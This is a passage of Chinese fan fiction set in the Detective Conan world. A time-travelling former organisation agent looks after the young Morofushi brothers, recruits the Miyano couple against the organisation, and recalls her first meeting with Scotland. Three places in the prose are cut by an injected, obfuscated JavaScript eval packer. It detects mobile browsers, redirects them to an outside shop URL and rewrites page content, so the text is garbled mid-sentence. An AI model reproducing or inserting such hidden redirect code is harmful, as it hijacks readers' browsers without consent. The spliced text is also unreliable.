自从遇见苏格兰后，开车的工作理所当然地分配给下属，哪怕没多久后两人平级了，苏格兰也会主动接过司机的工作。 而现在，流川玄奈久违地摸着方向盘，内后视镜中，诸伏景光坐在后排安静地看着书，诸伏高明在副驾驶。 她余光扫过他的侧脸，忍不住多看了一眼。不得不再次感慨，这张脸，真的和苏格兰很像。 “您不必介怀，玄奈小姐。能这样悠闲地同行，本身就是一种享受。” 流川玄奈收回视线，专心开车。偶尔和景光聊几句，那孩子对车上的各种组件充满好奇，她就一样一样给他介绍——诸伏景光听得认真，时不时点头。 一路顺畅。 到达目的地时，流川玄奈停好车，回头看了一眼，诸伏高明正靠在椅背上，那双敏锐的凤眼微微闭着。 按她的推理，这家伙昨晚估计又熬夜了。前半夜陪弟弟，后半夜看书。 她不担心他。这家伙虽然会像同龄人一样为了喜欢的书熬夜，但也会在第二天唠叨几句古文反思自己的。 流川玄奈盯着他安静的睡颜看了几秒， 好了，现在该怎么叫醒他呢？她以前遇到这种情况—— 她伸出手，对着他的脸颊轻轻戳了一下， 好软。 20.自行车和伙伴 指腹下的触感温热，带着空气中的暖意。流川玄奈还没来得及收回手，副驾驶上的男高中生便缓缓睁眼。 他眨了眨，似乎还在适应光线，神情是罕见的——茫然？ “抱歉，我……”流川玄奈还未说完，先下车的诸伏景光已经拉上那位等候已久的金发男孩，凑了过来，“哥哥，这位就是小零。” 降谷零任由着诸伏景光拉着他，有些不自在地抿了抿嘴：“你好，我叫做降谷——” “零君，谢谢你，”诸伏高明已经回过神，他走下车，诚挚地说着，“我听景光说了，你是他在东京交到的第一个朋友……一直以来，多谢你对他的照拂。” 降谷零没料到小景的兄长居然这么直接，一时间红了耳根。 他张了张嘴正要说什么，流川玄奈也趁机凑了过来：“是啊，如果没有你先关心他，景光他未必会愿意和我接触，他现在这么快就能好转，也多亏了你，零。” 大概是前两次见面给他的印象太差，降谷零对她依旧是别扭地别过脸：“不、不用谢。” 至少没有再讨厌她了。 一旁，诸伏高明自觉地将时间留给两个同龄的孩子，他转向流川玄奈：“我可以去这附近的书店吗？” 流川玄奈明白他的意思，两人约定了晚风碰面的地点和时间。至于她自己就离开了，这年头案件这么多，谁敢让两个小孩在这里独处啊。 诸伏景光正拉着降谷零说些什么，似乎很开心的样子，他在她面前也很少说这么多话。 她站在一旁，没去打扰。只是这样看着，就感觉很安心——直到降谷零开始展示他的新技能。 他兴冲冲地推来一辆儿童自行车，开心地拍了拍坐垫：“小景，我最近新学会的！我来教你！” 当然，考虑到身高方面，真正负责教学的只能是流川玄奈。 说起来，她是怎么学会自行车的，苏格兰是不是——在组织怎么会有那种记忆啊！流川玄奈对自己的脑回路有些无语，她决定回忆下，之前见过的，小孩子一般是怎么学骑自行车的…… 似乎不算难，她信心满满地得出结论：“景光，我会在后面扶着你，你只管蹬就好了。” 诸伏景光本来还有些紧张，但看到这两个人一个比一个激动，也决定相信他们。他上了车，一边将车把紧紧抓紧，一边回头：“玄奈姐，你在我后面负责，千万不要放手！” “好，我一定不会放手的。” 这句话有些耳熟，降谷零想，对了，宫野医生教他骑自行车的时候也是这样说的，她最后还是放手了！大人都喜欢骗人！ 不过，他一点也不生气。宫野医生是为了他好，应该只有这样才能真正学会自行车吧。 所以流川玄奈也一定会放手。降谷零认真观察着，生怕错过哪个瞬间。 一圈，两圈，三圈后。 “不对吧？！”降谷零终于忍不住了，他瞪大眼睛看向流川玄奈，“你、你为什么——” 为什么不放手？流川玄奈当然明白，小孩子学自行车基本都是靠大人偷偷松手才学会的。但是不知道为什么，这个动作对她来说似乎很艰难。 毕竟她答应了诸伏景光，不会松手……流川玄奈开始安抚降谷零：“算了，你看景光现在骑的也很开心。” 降谷零只好看向诸伏景光。诸伏景光立刻反应过来，忙说：“零，我骑太久了，你来骑吧？你放心，玄奈姐的手很稳，绝对不会松手的！” 降谷零彻底噎住了，他这个幼驯染该不会真的以为自行车是要人扶着吧？他想了想，走上前去：“玄奈姐姐扶你太久了，让我来吧。我今天吃的很饱，完全有力气的。” 流川玄奈下意识想阻止：“你行吗？万一——” “流川你这种溺爱型家长，是永远不可能让小景学会的。”降谷零用不知道从哪里学来的词打断她，明明挺稚嫩的脸写满了较真。 这话虽然扎心，但确实是实话。流川玄奈还是妥协了：“……注意安全。” 降谷零终于得到心心念念的机会，稳稳接过后座，两个小男孩一前一后。降谷零在合适的时机松手，而诸伏景光没有发现——他依旧稳稳地蹬着脚踏，自行车歪歪扭扭地向前冲出去，然后又奇迹般地稳住了。 看到这一幕，流川玄奈比预想中还要开心，她正要过去，那边的降谷零比她更开心——他开心地左脚绊右脚，整个人扑倒在地。 流川玄奈吓了一跳，赶紧跑过去，谁知道那小子一骨碌爬起来。 “我去宫野医生那里包扎一下！”丢下这句话，他已经一瘸一拐地朝那个方向跑去了，脸上还带着笑容，那表情，好像摔倒的是流川玄奈不是他一样。 ……这小子，该不会是故意的吧？！流川玄奈叹了口气， 想去见宫野夫妇，早说啊。 她这次来，还真有拜访这家夫妇的打算。 毕竟，她自己的事，她加入组织后一直坚持的“梦想”……在经历苏格兰暴露，时空穿越后，从前的那份执念现在再去看，格外模糊，一想到就很迷茫。 但苏格兰、诸伏景光的梦想，对她来说要清晰很多，那一定是包括覆灭组织在内的。 既然如此，她穿越到这个时代，遇见了宫野夫妇，那她也应该去尝试才对。 为这个目标，寻找更多伙伴。 …… “一起对抗乌丸集团的伙伴？” 宫野诊所内， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244205|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫野厚司控制着表情，他也算是见多识广的医生，这种人还是第一次见。他颇为为难地看向流川玄奈，确认道：“这位，流川小姐，你不仅要阻止我们加入乌丸集团就算了，还希望我们和他们作对？” 流川玄奈仍旧一脸严肃：“是的。” “等等等等，”宫野艾莲娜刚把几个孩子安排好，从隔壁回来，她试图重新梳理一遍，“我记得你，你之前来的时候就很奇怪，你自称是从乌丸集团跳槽到其他集团的人，可是我们后面查了——” “没错，我没有公司。那个时候说谎了，很抱歉。”流川玄奈微微垂首，接着重新抬头直视两人，目光相当坦然： “我这段时间想清楚了，我的目的是希望你们和我一起对付乌丸集团。” ……？ 宫野厚司和艾莲娜对视一眼。 “你……为什么突然来找我们，说这种事情？”宫野厚司斟酌着开口，“你知道乌丸集团许诺给我们的条件吧？” 流川玄奈点头。 “那你也应该清楚，他们愿意投资我的实验——”宫野厚司的声音沉了下来，他审视着流川玄奈，“你真的清楚那个集团的实力吗？” “正因如此，你们如果决定加入后，就很难脱离了。” 流川玄奈没有回避他的目光，反而向前，将一枚U盘放在桌上。 她顿了顿，示意那只U盘：“这是我在长野县的虎田家搜集到的——虎田家是当地大家族，勾结黑/道，黑/警，也为乌丸集团办事……乌丸集团从不缺这类人，也时常用残忍的手段处理背叛者，它的实力远比你们想象的更难对付。” 宫野厚司接过u盘，想了想还是插进电脑。 半晌，他叹了口气，语气里少了防备：“谢谢你，流川，你如果一开始这样说就行了……一上来就说什么一起对抗这种庞大的集团，实在是有些吓人。” 他在用笑容掩饰着自己的后怕。那个u盘里的信息比他预想的还要过分。 “抱歉，我没有和这种势力作对的打算，艾莲娜，我们这几天就出发，去英国找你姐姐——” “厚司，”宫野艾莲娜轻轻按住他，她的笑容像天使一样安抚着他人的内心，她转向流川玄奈。 “我还有句话想问问你，流川小姐。” “请说。” “你的态度和上次很不一样。”她直视着流川玄奈的眼睛，“你为什么想要对抗那样的组织？你既然打算说服我们，应该不止是给我们看这些吧——还有什么理由呢？” “因为，” 流川玄奈深吸了口气，随后微微弯起嘴角，重复道：“我是因为你们的‘梦想’，才来到这个时代的——这个理由怎么样？” 21.宫野家与数值游戏 “我服下的药物，是在你们两位的研究基础上改良出的变体。它的功效，就是让我穿越到了，对我来说的16年前……” 流川玄奈简单讲了些未来会发生的事。 那两人怔愣地听完，已经相信了大半，宫野艾莲娜先开口：“这真是……太不可思议了。流川小姐穿越前也是现在的年纪吗？身体没有任何不适吗？” 流川玄奈点头，认真阐述着：“相反，我甚至感觉自己更加健康，像是睡眠质量好了不少。” 宫野厚司也在重新打量着她，确实，比起上次见面，流川玄奈的气色要好了不少。 他想了想，开口道：“按照你的描述，这种效果几乎等同于时间回溯，而且没有明显副作用……”他喃喃道，“不行，你必须留下来做一次全面检查，不过我们的小诊所也许查不出什么—— 干脆去杯户医院，我在那里有熟人，现在这个时间应该还能安排一套完整体检。” “冷静一点，厚司。”宫野艾莲娜安抚着爱人，她大概已经猜到了什么，看向流川玄奈。 流川玄奈缓了口气。 “我希望你们帮我查清楚这种变体药物的具体特性。这样，你们也不必再加入组织搞研究了，不是吗？” 流川玄奈观察着两人波澜起伏的表情，平静地说出自己的想法，“我服用的药物来源于你们，这不也是在追求你们的梦想吗？” “这点我求之不得，”宫野厚司坦然承认，随即为难地，帮刚刚想好的决定说出，“只是，我们一家这几天就会离开这里。” 他看向妻子，把刚刚想好的决定说出：“虽然不知道你和我们未来有什么交集，但现在，我们没有和那个组织作对的打算。” 宫野艾莲娜似乎也默许了这个决定……刚刚的对话里，信息量太大了。 流川玄奈点头：“放心，药物可以带到别的地方继续研究。” 她的目的才达到一半……她能理解宫野夫妇的为难，便也换了策略，顺着刚才的对话突然提问：“请问，你们两位为什么要追求这个梦想？” 那两人颇为为难地对视着，流川玄奈立刻了然：“没事，不想说也没关系。” 她的表情没怎么变化表示，继续补充着合作内容：“我服下的药物什么残留都没有，能给你们研究的，只有这个。” 她从包里取出一个小瓶子，里面安放着两枚保存完好的胶囊。 “这是你们共同研发的，有关细胞程序性死亡药物，名字暂时为APTX-4869。据我所知，和你们的研究初衷相反，这款药物的所有服用者无一例外，全都死了。” 空气变得沉闷。 流川玄奈继续解释着，她压抑着情绪：“因为不会留下任何痕迹的特性很符合组织的作风，你们的研究被作为杀人毒药使用，在世界各地留下了很多悬案。” 宫野厚司忍不住发抖——这种可能性，他不是没有预测到过。只是没想到乌丸集团远比自己想得要阴暗。 他虽然有着‘疯狂科学家’的称号，但并没有想要打破社会谋杀他人的恶念，更别提本就善良的宫野艾莲娜了。 “……可恶。” 宫野厚司有些失控，他低声咒骂着，随即接过流川玄奈递来的瓶子，又从桌上立刻拿起什么，就往房间里走去。 等待宫野厚司检验药物的时间里，宫野艾莲娜也在平复着呼吸，像是为了缓和气氛，她和流川玄奈闲聊了几句。 “……说起来，流川小姐实际上应该是和明美是一个年纪吧？真有趣啊，你在的时空里，她还好吗？” 流川玄奈微微一顿，想了想，决定实话实说：“她生活不错，我穿越前，她正在和一个像我一样的组织成员谈恋爱，我不知道这算不算幸福。” 对一个母亲而言，听到女儿无法脱离组织、不得不与罪犯为伍，实在过于残酷。 意识到这点，流川玄奈主动转移了话题：“还是说回你们两位吧？你们会在两年后离世，应该是组织的内部派系冲突导致的，因此，我赞成你们先去国外逃命。” 宫野艾莲娜的表情比刚才还要难看了。 流川玄奈看在眼里，在那个组织面前，已经被盯上的宫野夫妇就算选择逃避也未必有用……他们如果愿意一起对抗组织那自然最好，不愿意的话，也不会再加入组织了。 “这样啊……我姐姐在英国。去那里，或许确实是个选择。”明明刚刚知道极其可信的，有关自己的死讯，宫野艾莲娜在流川玄奈面前打起精神，她的理性在宽慰着她。 她开始为流川玄奈做基础检查，同时询问服药后的时间线与细节变化。 流川玄奈没有隐瞒：“我找到的资料就是这些……实验中偶然出现过疑似时间溯回的现象，我赌对了，就来到这里了。” 宫野艾莲娜性情温和，在加入组织后也曾与年幼的流川玄奈说过话。 流川玄奈把自己和苏格兰服药，药物间的联动关系，还记得的实验记录一次性说清楚。 “已经死去的人复活……”宫野艾莲娜撑着下巴思考，“会不会是你的执念在推动呢？” 流川玄奈惊讶，不理解，但还是礼貌地提问：“请别开玩笑了，执念这种存在于人心，虚无缥缈的东西，怎么可能能影响药物呢？” 宫野艾莲娜摇摇头，说出和常识完全相悖的推测：“我起先也是这么想，只是，最近学界里，泉镜一先生的研究就提到了，人在极端强烈的愿望之下，体内可能生成某种特殊物质…… 如果未来有办法可以强化、利用、分解这些物质的话，说不定就会改变人体对药物的吸收。也就是说——” 流川玄奈轻声接上： “执念，会影响药效。” 宫野艾莲娜再次看向她，目光温柔又复杂：“你的执念是苏格兰吧？这只是我的一种猜测，你服下的是两种药物，一种将执念放大，同时，你服下的另一枚药物因此改变，你得到了超乎预期的，穿越时间的机会。 同理，药效也会受到另一位服用者影响。考虑到你目前的身体状况一切正常，因此，我猜测，你应该还能在这个时空停留很久，直到， 直到那位还不叫苏格兰的小朋友，过上他真正期望的生活。” 流川玄奈顺着她的话思考着，对医药了解不多，如果这个猜测正确的话…… 也就是说，如果是游戏的话，那她接下来要做的，大概就是把苏格兰的幸福值指数，一点点刷满。 刷数值啊， 【流川玄奈现在的数值是：】 【综合推理值90分，观察力90分，行动力90分，理性值40分，信任度10分，好感度10分】 “玄奈姐真是太厉害了！” “是啊小弟弟，这个总分应该是文化祭一天下来，目前看到的最高分了！” 负责项目的男高中生一脸激动地对着诸伏景光夸个不停，又忍不住看向流川玄奈：“这位姐姐，你到底是做什么工作的啊？” 她还没回答，一旁，另一个打扮时髦的金发男高中生从人群里走出来，像漫画常见的那样，手里还拿着朵装束花束，带着习惯性被关注的自信，将流川玄奈面前的男高中生挤开。 “这位姐姐，比起工作，我更好奇，”另一个打扮时髦的金发男高中生，拿着装饰用的花朵，“比起工作，我更好奇，这位姐姐是哪个学校的？你的推理能力真的很厉害。” 他顿了顿，自然地递出花枝与话锋：“如果不介意的话，能留个联系方式吗？” 这也是诸伏高明的同学？！ 流川玄奈眉头微皱：“我介意。” 除了习以为常的诸伏景光，周围所有人的表情都凝固了。 不愧是能在推理游戏中，把所有npc好感度都扣得只剩10分的人。 流川玄奈就这样在众人的目送中，带着诸伏景光离开了教室。 —— 接下来要去诸伏高明的班级找他…… 【一年A班女仆咖啡厅】 流川玄奈拉着诸伏景光按着指示图走到了这里。 她对日本的女仆文化并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254634|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢，这里的空气本来就很难闻。 甜腻、吵闹、社交密度过高。 隔着门口的帘幕望进去，全是清一色的黑白女仆装。只是穿着的人个个都不寻常，各种型号的男高中生无论高矮胖瘦全被塞进丝袜短裙里，配上猫耳假发还有奇怪的服务态度。 她怎么能带诸伏景光进去啊？！ 她迅速看了一圈，这些人中，最瞩目的自然是大和敢助。 他显然已经彻底摆烂了。围裙外系上了校服外套，鞋子也换回了拖鞋，此刻正理直气壮地瞪着两个学生模样的客人：“喂，你们两个，还不快点付钱。” 这又是什么服务态度啊？ 就在这时，他注意到了带着诸伏景光的流川玄奈。 “哟，欢迎光临——客人、大、人。” 说完他还蹲下来，似乎想和诸伏景光打招呼。流川玄奈反应力极快地捂住诸伏景光眼睛，不这么做说不定会留下心理阴影啊！ 大和敢助的脸色理所当然地更加难看了：“流川——” “笨蛋阿敢，你裙子走光了。”突然说话的是一个和诸伏景光差不多年纪的丸子头女孩。 “吵死了，我不是叫你不要呆在这里看我笑话吗？”大和敢助说完，向流川玄奈介绍道，“这家伙从小到大都爱粘着我，她叫上原由衣。” “由衣，初次见面。” “这位是高明家的小姑，流川。” “流川姐中午好，还有——隔壁班的景光，原来你就是高明的弟弟啊。”上原由衣笑着走了过去，“我听阿敢说，你是两周前搬回来的，没想到我们在一个学校啊。” 诸伏景光被突然的热情弄得有点不知所措，下意识看向流川玄奈。流川玄奈笑着拍了拍他。 趁着两个小孩子结交新朋友的劲头上，流川玄奈看了看四周，迅速低声问道：“高明不在这里吧？” 大和敢助嘴角抽了抽：“你能先收敛一下脸上对我现在这身打扮的嫌弃吗？” “啊。抱歉。” 毫无诚意。 大和敢助放弃挣扎，想到诸伏高明，他露出了一个幸灾乐祸的笑：“高明那家伙比我倒霉多了，我等着下午舞台剧看他出糗。你就敬请期待吧。” 怎么出糗都比在女仆咖啡厅好，那个画面——她不自觉想到苏格兰如果女仆装，嘶。 “对了，流川，流川。” 大和敢助把她叫回现实，“麻烦你，带上原这家伙去别的地方好吗？” 上原由衣对自家竹马的话很不满意：“就算阿敢你不这么说，我也会跟着玄奈姐走的。” 诸伏景光好奇：“为什么？” 上原由衣眼睛一亮：“我听甲斐先生说过哦——流川小姐帮忙破过虎田案件，超级厉害的！那个案子阿敢回去之后还想了好久——” 大和敢助装作不耐烦地摆手：“是是是，那你现在觉得，甲斐先生和流川小姐哪个更厉害。” 上原由衣愣了愣，支支吾吾的样子。 大和敢助的语气更加别扭了，他向流川玄奈介绍道：“这家伙其实更喜欢甲斐先生，她说过长大了要当甲斐先生的新娘子这种话！我没说错吧？” 上原由衣脸红了。 大和敢助继续装作后知后觉，一副相当欠揍的样子：“啊，我忘记了，这是小由衣三年级时说的胡话，现在的由衣已经四年级了，才不会这么说——” “是啊，对于笨蛋阿敢！我就是结过婚死了丈夫也不会嫁给你的！” 上原由衣狠狠地瞪着大和敢助， 这个时候要怎么劝架？流川玄奈想都不用想，评价道：“明智的选择。” 大和敢助：“喂？！” “不过，由衣，”流川玄奈想了想，补充道，“结婚的话，是不可以挂在嘴边随便许诺的，” “因为……” 话到嘴边，流川玄奈忽然停下。 因为什么？ 心口莫名一紧，脑海里迅速闪过一片模糊的画面。 某段记忆不合时宜地浮上来。 22.差评引发的求婚 评价一下这一章：十六年后的两年前， 东京，某处地下酒吧。 灯光暧昧，舞池中的人随着音乐胡乱摆动，角落处，两个年轻男子各拿了杯葡萄酒，状似不经意地凑到了一起。 其中一个穿着灰蓝色兜帽卫衣，套了件深色夹克，留着胡茬的年轻男子，正是诸伏景光。他垂着眼，装作随手玩手机的样子，和一旁的降谷零交换这几日的见闻。 话说到一半，手机上方突然出现弹窗。那个号码他早就记在心里——诸伏景光扫了一眼，眉头倏地收紧。 “怎么了？”一旁，酒保打扮的降谷零不动声色地接过手机，屏幕上的几行字落入眼里。 【任务目标将于今日下午三点后出现在东京湾码头区。目标为东亚裔女性，携带一颗重要且易损的蓝色宝石……】 降谷零反应过来：“这是——朗姆？！他对你到底是——” 两天前，他从其他同僚那里得知了好友被组织二把手突然看中的事情时，可是相当惊讶……所幸今日再见，对方平安无事。 “准确来说是他的手下，”诸伏景光压低声音解释道：“一个叫作索泰尔纳的干部选中了我当搭档。” 降谷零微微顿住，回忆道：“我听我现在的上司提起过，索泰尔纳和那起箱根大规模爆破案件有关……是组织里的独行侠。” 也是他们公安的盲区，警方的档案里至今查不到任何关于这个代号的有效信息——正因如此，能和这个成员接触，对他们来说是难得的机会。 “Hi--karu，”降谷零叫着发小的假名，“你打算怎么处理？” 诸伏景光想了想，缓缓开口：“这个任务，实在是太多可疑之处了。” “是啊，简直像是故意设计给你的考验。” 这是他们两个人为数不多的机会——能够脱离组织基层成员身份的机会， 不止要完成任务……至少要让人印象深刻。 诸伏景光将目前想到的几种方案告诉降谷零。 看着发小如此认真，降谷零目光微微一软：“小心点。” 一定要小心，hiro。 你在执行任务的时候，那个索泰尔纳说不定就在哪里看着。 降谷零顿了顿，继续补充道：“这些有代号的成员每一个都是多疑狡诈，杀人从不——” 电话的提示音打断了他，降谷零看了一眼来电显示，表情肉眼可见地沉了下去。他换了副表情接起。 “又是那样的任务。” 去东京湾，给上面的人收尾。 降谷零点头。两人交换了个复杂的眼神，随即回归假面，各自先后离开。 真讨厌啊。组织里这些随意杀人的罪犯。 —— 诸伏景光提前了两个小时抵达码头。 以他的能力，从人群里筛出不对劲的人，并不是什么难事。 他在便利店发现了那个男人。鬼鬼祟祟，眼神飘忽，疑似带着些不能见人的可疑物品。诸伏景光不动声色地跟了上去——这家伙就是今晚要和任务目标交易宝石的逃逸犯人。 他今天还真是幸运。诸伏景光迅速联系了同事，随即接管了那个男人的所有行头。他弯下腰缩起肩膀，伪装成一个胆小如鼠的普通文员，将存在感降到最低。 从这个男人的手机里，倒是有对交易对象的备注和照片，也就是他今晚接到的任务目标的信息。 那是一个五官并不张扬，却极难忽视，外表相当清冷的黑发女子，有些眼熟，应该是名人吧？ 诸伏景光眉头一跳， 仅看照片，很难把这样的人和他所认识的组织成员联系在一起。最多是被组织利用的那种类型？孤高的科学家，聪明，但看一眼就知道不好接近。 离交易时间还早。他缩在角落里，摸拿出手机搜索这个名字。 ……日本的名字，却是混血的面孔，和他的发小还挺像的。 流川玄奈， 国际知名的私家侦探，和国际刑警组织关系密切，经常合作办案。履历漂亮，经手的案子从珠宝失窃到跨国诈骗，这次估计也是受委托帮忙保护宝石吧？ 啊，是上次见到高明哥时他在看的书，居然是这位流川小姐母亲的作品啊。 世界真小啊，诸伏景光迅速浏览着， 除了案件以外，和她私人有关的信息实在很少……父母在她童年时离异，两年前双双遭人谋杀至今未破案。她的社会形象也和外表一样是高冷多智，但似乎在网上还有些别的评价。 诸伏景光迅速浏览，分析着这位任务目标的个性。 时间差不多了。 他收起注意力，佝偻着身子，不动声色地观察着附近的每一个人。 天色尚早，码头的这片区域正在维修，偏僻，没什么人来。偶尔有几个工人经过，还有几个骑电动车乱开的高中生，嘻嘻哈哈地穿过去中不慎跌倒。 一个年纪小的男孩摔在地上。诸伏景光扫了眼，下意识的冲动被即将到来的任务压下。 这时，某个黑发女人不知道从哪里窜出来，动作反应极快，她三两下走到摔倒男孩旁边，不苟言笑的说了几句。那个男生哭的更大声了，她也就没再说话。 她从随身的包里拿出绷带，递给男孩的同伴，便转身离开。表情始终是那副生人勿近的样子。 诸伏景光也有些怔愣，还没来得及细想，那女人的目光突然扫过来，如果说她刚才面对伤者时还算是有些许柔软，现在的眼神绝对是看垃圾一样。 诸伏景光迅速收回视线，连带着压下心底那些那些微妙的情感。 和他预测的不同。流川玄奈的警惕性，以及透露出的身手远远强过那些脑力派的侦探。 她很聪明，也很强。但似乎——是他伪装的还不错吗——她对交易对象的心理判断过于自信。 一时的大意，胜负瞬间决出。 偷袭，果然有用。对不起了，诸伏景光在心中默默道歉，随即利用身高优势将对方压制住。 他无法忽视对方近在咫尺的神色。 清冷从容的侦探，此时换上了一种说不清的情绪。她估计以为自己要死了？……好像真的吓到对方了。 “宝石，在哪里？” 诸伏景光想快点结束去找那个索泰尔纳。 “Hikaru（光）！你是叫这个名字吧？” ！ 诸伏景光立刻反应过来，手上的动作没有停止。答案不言而喻，流川玄奈就是索泰尔纳啊。 和照片不同，和刚刚随手作善举不同，他眼前的这位组织成员，此刻散发着独属于组织成员的阴冷气息。 诸伏景光再次压下所有情绪，换上练习已久的伪装，冷冷地盯着她， “你知道我是谁吗？居然设了这么多套抓我，让我三顾茅庐、白费力气——” 不爱说话的女人，此刻不仅喊着亲昵的称呼，甚至用上一连串急躁的成语指责着他。 毕竟，他刚刚把她这位组织成员当作交易对象对待了……谁会把自己写成交易对象啊。 身体比大脑反应还要快，诸伏景光松开压制的手，后退半步，冷笑道：“是吗？那我还真是，感到荣幸。这位，索泰尔纳前辈？” —— 当晚， 诸伏景光也被发配去东京湾，两个人久违地一起工作。 做着同样让人讨厌的事情。 组织里不是每个人都是琴酒，像这种没有上级看着的情况，他们这些基层成员习惯于用闲聊缓解不适。 在和其他基层成员一起吐槽完某个靠女人上位不用来作脏活的绿眼长发男后，诸伏景光找到间隙和降谷零不着痕迹地靠近。 “……没想到这个级别的组织干部能让你见到真面目……还是个和贝尔摩德一样的名人。可恶。” 是啊，让人恼怒。 明明已经确认了是组织成员，却碍于局面不能轻易动手。 诸伏景光轻轻拍了拍他：“索泰尔纳的个性很古怪，或许意外地好接近，我会继续观察的。” 降谷零明白好友的意思，顺着分析：“她这艘船，无疑会让你快速晋升。” 他扫过另一头聚着的基层成员，语气里多了点担忧：“对了，一上来就只叫名字……她该不会喜欢你吧？酒厂的人不会都是这样的吧？” 诸伏景光忍不住弯了弯嘴角，久违地露出一点笑意：“怎么会，你想多了。” 降谷零没再打趣，目光落回远处，若有所思：“不过，作为报酬极高的知名私家侦探，父母都是名人，她继承的遗产应该相当丰富——这种人为什么会和组织扯到一起……” 是啊，诸伏景光回忆着今日的见闻。 这样的人，为什么会加入组织？又为什么会选中他？ —— 正式行动的当天， 他穿着黑色兜帽卫衣，准时出现在杯户大酒店外。 任务计划居然是偷窃？诸伏景光压下心底的意外，顺着人设，很快就问出了原因。 “阿德勒家前几天死了个还算重要的人物。” “不愧是精通情报的干部，消息灵通。”诸伏景光称赞着，其实他也知道这件事，毕竟那位死者属于流川玄奈明面上受雇的家族。 他生前前劣迹斑斑，靠着律师团队屡屡逃脱法律制裁。这次事件，社会上还有许多偏激的言论，认为杀人凶手是替社会除害，是正义的杀人犯， 怎么可能？ 诸伏景光想，杀人就是杀人—— “毕竟是我杀的。光，你不会没杀过人吧？” 面前的女子顿了顿，突然回应他的话语，并且将疑问抛给他。 偏细长的杏眼看向了她，冷棕色，和她给人的感觉一样，极具冷感。 饶是诸伏景光反应再快，此刻也有片刻的怔愣。 出乎意料，没等他回答，流川玄奈已经自己先改口，是很生硬的转折。 她和他猜的一样不擅长社交。她在接下来的任务中也是这样，靠着其他方面的能力弥补言语交际上的不足。 那么，诸伏景光决定将把自己擅长的全都展现出来，比如在对话时随机应变，迅速捕捉搭档的动作并且及时配合…… 这个搭档的位子，对他很重要。 …… 任务很顺利，两人很快一起坐车离开。 只是—— 她为什么一直看着他？他的伪装不应该有破绽才对。 知道对方不会像某些干部一样随意杀害下属，诸伏景光决定主动开口：“怎么了？” 他需要搞清楚，索泰尔纳到底都在关注什么。 不带任何感情的男声让流川玄奈回过神，她后知后觉地发现，自己似乎盯着对方的侧脸看了太久。 “光。” 诸伏景光一愣，又是只叫名字，结合对方从小在国外长大，或许也算正常。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271039|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……我想不通，刚刚，你为什么没有杀那个追出来的保安？” 她甚至在此之后贴心地附上解释，说什么并不怀疑他是卧底——好像她真的只是普通的困惑与好奇。 诸伏景光看着正前方，斟酌着开口，语气仍旧是维持外表那样：“那看来你对我判断错了，我只是认为，那种情况下杀人风险反而更高。况且，对我来说，杀人需要理由。” “……明白了。” 据他观察，索泰尔纳的个性有一点还不错，当你明确表露出不想继续某个话题时的表情，她并不会追问。 问题结束，眼下这个红灯还是很漫长，诸伏景光打量前方的路况，余光中，那道异样的视线始终没有离开——流川玄奈还在盯着他。 “……你到底为什么看着我？” “你的眼睛很特别。” 直白，简单，平静，她倒是一点也不觉得自己的行为过分啊。 诸伏景光倒吸一口气，这女人真是……不愧是组织干部。 这让他怎么回啊…… …… 索泰尔纳虽然总是语不惊人死不休，但对诸伏景光似乎并没有什么意见。 至少他是这么认为。 所以，一天后， 收到被组织解雇的通知时，诸伏景光相当吃惊。 理由很简单——和他合作的干部给他打了差评。 有意思的是，负责通知他的组织成员正是降谷零。他们这个月见面的次数比过去半年都多。 两人都很困惑。 “怎么会这样？不是说和她相处的还不错吗？” 诸伏景光皱褶眉，努力回忆着两人相处，那些莫名其妙的夸赞其实是斥责吗？这个当事人此刻非常苦恼：“……她好像喜欢琴酒和贝尔摩德那种类型。” 降谷零拍着好友的肩：“hiro，不要自责，不是你的错……上面有新的指示。” 诸伏景光接过手机迅速浏览。大致内容是，接下来有针对重要官员的暗杀事件，他们必须尽快掌握有关情报——毫无疑问，索泰尔纳是最好的途径。 “hiro，你不会就这样放弃的，对吧？” …… “你为什么还没有放弃？” 一日后，索泰尔纳皱着眉，自己前一日开除的下属居然再次找上了门。他比前几次见面时要狼狈些。 “你从哪里找到我的？” “从来通知我的人那里。”诸伏景光回答道，他和zero在上层面前演了场戏，负责管理新进成员的干部似乎是认可他的能力，又或许是受到了其他人的命令。居然真的把索泰尔纳的行踪告诉了他。 “你一向是独来独往……可组织还是要给你配队员。名义上是协助，其实更像是监视，对吧？” 诸伏景光确认着对方的表情，顿了顿，补充道，“我会以你的安排为优先。” 索泰尔纳听着，忽然笑了， 确实，外形，作风，能力，眼前这个男人无可挑剔。她在组织里资历不算浅，也不算挑剔，却一直遇不到真正满意的搭档。 直到现在。 “你为什么会认为自己是最合适的？” 诸伏景光略微沉吟了一瞬，这才开口：“我能看出，你和大多数组织成员不同——你对杀人的事有莫名的执着。” 